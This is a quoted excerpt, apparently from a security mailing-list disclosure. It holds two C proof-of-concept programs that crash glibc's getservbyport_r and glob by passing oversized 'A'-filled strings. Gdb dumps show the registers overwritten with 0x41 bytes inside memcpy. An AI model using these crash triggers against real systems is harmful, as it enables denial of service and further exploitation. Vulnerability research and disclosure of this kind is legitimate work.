> /* > cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport_r getservbyport_r.c && > ./getservbyport_r 15000000 > Segmentation fault > > rax 0x4141414141414141 4702111234474983745 > rbx 0xffffffffffffffff -1 > rcx 0x10b4a7 1094823 > rdx 0x422df5c8 1110308296 > rsi 0x7fffef4b3190 140737208070544 > rdi 0x7ffff7a58fb4 140737348210612 > rbp 0x7fffffffe500 0x7fffffffe500 > rsp 0x7fffbdc5ae28 0x7fffbdc5ae28 > r8 0x4141414141414141 4702111234474983745 > r9 0x4141414141414141 4702111234474983745 > r10 0x4141414141414141 4702111234474983745 > r11 0x4141414141414141 4702111234474983745 > r12 0x4141414141414141 4702111234474983745 > r13 0x4141414141414141 4702111234474983745 > r14 0x4141414141414141 4702111234474983745 > r15 0x7fffffffe52b 140737488348459 > rip 0x7ffff7adfe9c 0x7ffff7adfe9c <memcpy+1036> > > */ > #include <netdb.h> > #include <stdlib.h> > #include <unistd.h> > #include <arpa/inet.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > struct servent resultbuf; > struct servent *hst; > > int ret,buf_len=4096; > char *name, *proto,*buf; > > proto=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=proto){ > memset(proto,'A',(atoi(argv[1])-1)); > proto[(atoi(argv[1])-4)]='.'; > proto[(atoi(argv[1])-3)]='c'; > proto[(atoi(argv[1])-2)]='o'; > proto[(atoi(argv[1])-1)]='m'; > buf=malloc(buf_len*sizeof(char)); > > getservbyport_r(80, proto, &resultbuf, buf, buf_len, &hst); > } > } > -getservbyport_r.c- > > --- netdb.h --- > > in the end glob(3) > > ----- > #include <stdlib.h> > #include <stdio.h> > #include <string.h> > #include <netdb.h> > #include <glob.h> > > int main(int argc, char *argv[]){ > char *name, *proto; > glob_t globbuf; > > > proto=malloc(atoi(argv[1])*sizeof(char)); > memset(proto,'A',(atoi(argv[1])-1)); > > glob(proto, GLOB_DOOFFS, NULL, &globbuf); > > return 0; > } > ----- > Starting program: /cxib/C/allo/globo 150000000 > > Program received signal SIGSEGV, Segmentation fault. > memcpy () at ../sysdeps/x86_64/memcpy.S:516 > 516 ../sysdeps/x86_64/memcpy.S: No such file or directory. > in ../sysdeps/x86_64/memcpy.S > (gdb) i r > rax 0x4141414141414141 4702111234474983745 > rbx 0x7ffff70f0ce0 140737338346720 > rcx 0x10b49c 1094812 > rdx 0x8e49180 149197184 > rsi 0x7fffef4b3310 140737208070928 > rdi 0x7ffff7a58fe2 140737348210658 > rbp 0x7fffffffe3a0 0x7fffffffe3a0 > rsp 0x7ffff70f0cd8 0x7ffff70f0cd8 > r8 0x4141414141414141 4702111234474983745 > r9 0x4141414141414141 4702111234474983745 > r10 0x4141414141414141 4702111234474983745 > r11 0x4141414141414141 4702111234474983745 > r12 0x4141414141414141 4702111234474983745 > r13 0x4141414141414141 4702111234474983745 > r14 0x4141414141414141 4702111234474983745 > r15 0x7fffffffe630 140737488348720 > rip 0x7ffff7adfe5e 0x7ffff7adfe5e <memcpy+974> > eflags 0x10206 [ PF IF RF ] > cs 0x33 51 > ss 0x2b 43 > ds 0x0 0 > es 0x0 0 > fs 0x0 0 > gs 0x0 0 > (gdb) bt > #0 memcpy () at ../sysdeps/x86_64/memcpy.S:516 > #1 0x00007ffff7b05a7d in glob_in_dir (pattern=<value optimized out>, > directory=<value optimized out>, > flags=<value optimized out>, errfunc=<value optimized out>, > pglob=0x7fffffffe630) at ../posix/glob.c:1321 > #2 0x00007ffff7b0710e in glob (pattern=0x7fffeeb4b010 'A' <repeats 200 > times>..., flags=8, > errfunc=<value optimized out>, pglob=0x7fffffffe630) at > ../posix/glob.c:1008 > #3 0x000000000040067b in main () > > Best